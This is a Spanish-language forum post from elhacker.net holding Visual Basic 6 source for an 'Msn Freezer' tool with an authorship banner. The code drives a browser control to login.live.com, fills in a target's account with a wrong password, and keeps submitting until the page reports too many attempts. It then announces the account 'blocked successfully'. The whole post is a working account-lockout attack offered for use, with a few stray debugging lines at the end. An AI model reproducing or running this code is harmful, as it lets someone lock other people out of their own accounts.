Foro de elhacker.net

' ////////////////////////////////////////////////////////////////
' // *Autor: *PsYkE1* (miguelin.majo@gmail.com)                 //
' // *Podeis agrandar o reducir el codigo, siempre y cuando se  //
' // respete la autoria y se me comuniquen esos cambios.        //
' // *Agradecimientos a BlackZeroX.                             //
' // *Visita http://foro.rthacker.net                           //
' ////////////////////////////////////////////////////////////////
 
Dim Flag As Boolean
 
Private Sub Command1_Click()
    'Dependiendo del Caption del botón realiza una u otra acción
    If Command1.Caption = "Congelar" Then
        'Si el Text1 esta vacio
        If Text1.Text = "" Then
            Flag = False
            MsgBox "Debes introducir una cuenta", vbCritical, "*PsYkE1* Msn Freezer v1.0"
        Else
            Flag = False
            Text1.Enabled = False
            WB.Navigate ("login.live.com") 'Abro la Web para logearse
            Command1.Caption = "Descongelar"
        End If
    Else
        Text1.Enabled = True
        Command1.Caption = "Congelar"
        WB.Navigate ("") 'Salgo de la Web
        MsgBox "La cuenta " & Text1.Text & " ha sido descongelada", vbInformation, "*PsYkE1* Msn Freezer v1.0"
    End If
End Sub
 
Private Sub Form_Load()
    Me.Caption = "*PsYkE1* Msn Freezer v1.0" 'Pongo Title al Form
    Command1.Caption = "Congelar" 'Asigno el Caption al botón
    Flag = True 'Activo el interruptor
End Sub
 
Private Sub WB_DocumentComplete(ByVal pDisp As Object, URL As Variant)
    On Error Resume Next 'Si hay error no lo muestre
    If Flag Then Exit Sub 'Si el interuptor está activado salgo
    With WB
        .Document.All("login").Value = Text1.Text 'Ingreso la cuenta
        .Document.All("passwd").Value = "by*PsYkE1*" 'Pongo una contraseña que no es
        .Document.All("SI").Click 'hago click
    End With
    ' Si encuentro la cadena "demasiadas veces" en el documento del WB...
    If InStr(WB.Document.Body.InnerHtml, "demasiadas veces") Then
        MsgBox "La cuenta : " & Text1.Text & " ha sido bloqueada con éxito!" _
        , vbInformation, "*PsYkE1* Msn Freezer v1.0": Flag = True
    End If
End Sub

If InStr(WB.Document.body.innerhtml, "demasiadas veces") Then

 
?err.Description